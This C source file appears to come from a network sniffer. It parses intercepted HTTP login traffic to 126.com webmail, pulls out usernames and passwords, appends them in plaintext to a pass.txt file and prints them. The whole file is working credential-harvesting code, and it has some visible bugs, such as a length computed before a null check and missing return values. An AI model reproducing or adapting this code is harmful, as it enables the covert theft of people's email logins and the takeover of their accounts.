#include "common.h"


extern char *conv_163_to_utf8(char *src);

int write_126_passwd(Mail_info *mail_info)
{
	char *p1 = NULL, *p2= NULL;
	size_t len;

	p1 = strstr(mail_info->mail_data, "&user=");
	if (p1 == NULL)
	{
		p1 = strstr(mail_info->mail_data, "username=");
		if (p1 == NULL)
			return -1;
		p1 += 3;
	}
	p1 += 6;	
	p2 = strstr(p1, "&");
	len = p2 - p1;
	if (p2 == NULL || len > MAX_UN_LEN)
		return;

	memcpy(mail_info->username, p1, len);
	mail_info->username[len] = 0;
	htmldecode_full(mail_info->username,mail_info->username);
	if (strstr(mail_info->username, "@126.com") == NULL) {
		if (len + 8 > MAX_UN_LEN - 1)
			return -1;
		strcat(mail_info->username, "@126.com");
	}
	
	p1 = strstr(p2, "&password=");
	if (p1 == NULL)
		return -1;
	p1 += 10;	
	p2 = strstr(p1, "&");
	if(p2==NULL)
	{
		len = mail_info->mail_data + strlen(mail_info->mail_data) - p1;
		if (len > MAX_PW_LEN)
			return -1;
	}
	else
	{
		len = p2 - p1;
		if (p2 == NULL || len > MAX_PW_LEN)
			return -1;
	}
	
	memcpy(mail_info->passwd, p1, len);
	mail_info->passwd[len] = 0;
	htmldecode_full(mail_info->passwd,mail_info->passwd);

	write_xml(mail_info);

	FILE *fp = NULL;
	char writepath[MAX_PATH_LEN + 1];
	snprintf(writepath, MAX_PATH_LEN, "%s/pass.txt", mail_data_path);
	fp = fopen(writepath, "a+");
	if(fp == NULL)
		return -1;
	
	fprintf(fp,"\nusername=%s\npassword=%s\n", mail_info->username, mail_info->passwd);
	printf("mail_info->username = %s\n", mail_info->username);
	printf("mail_info->passwd = %s\n", mail_info->passwd);
	fclose(fp);

	return 0;
}

int analyse_126_passwd(Mail_info *mail_info, char *data, unsigned int data_len, struct tcphdr *ptcp, int is_to_s)
{
	int result;

	if (is_to_s) 
	{
		if (!mail_info->is_complished) 
		{
			result = write_to_mail(mail_info, data, data_len, ptcp);
			return result;
		}
	} 
	else 
	if (!strncmp(data, "HTTP/1.", 7) && !strncmp(data + 8, " 200 OK\r\n", 9))
	{
		mail_info->is_complished = 1;
	//	get_time(data, mail_info->sent_time);
		write_126_passwd(mail_info);
		del_mail_node(mail_info);
		return 0;
	}

	return -1;
}

int analyse_126(void *node, char *data, unsigned int data_len, struct tcphdr *ptcp, int is_to_s, int m_or_a)
{
	unsigned short type;
	int result;

	if (!m_or_a) 
	{	
		Mail_info *mail_info = (Mail_info *)node;
		type = mail_info->mail_type & 0x00FF;
		switch (type) 
		{
		case 0x01:
			result = analyse_126_passwd(mail_info, data, data_len, ptcp, is_to_s);  //login form hao123
			break;
		}
		if (result == -1)
			del_mail_node(mail_info);
	} 
	else 
	{	
		Attach_info *attach_info = (Attach_info *)node;
		type = attach_info->attach_type & 0x00FF;
	}
}

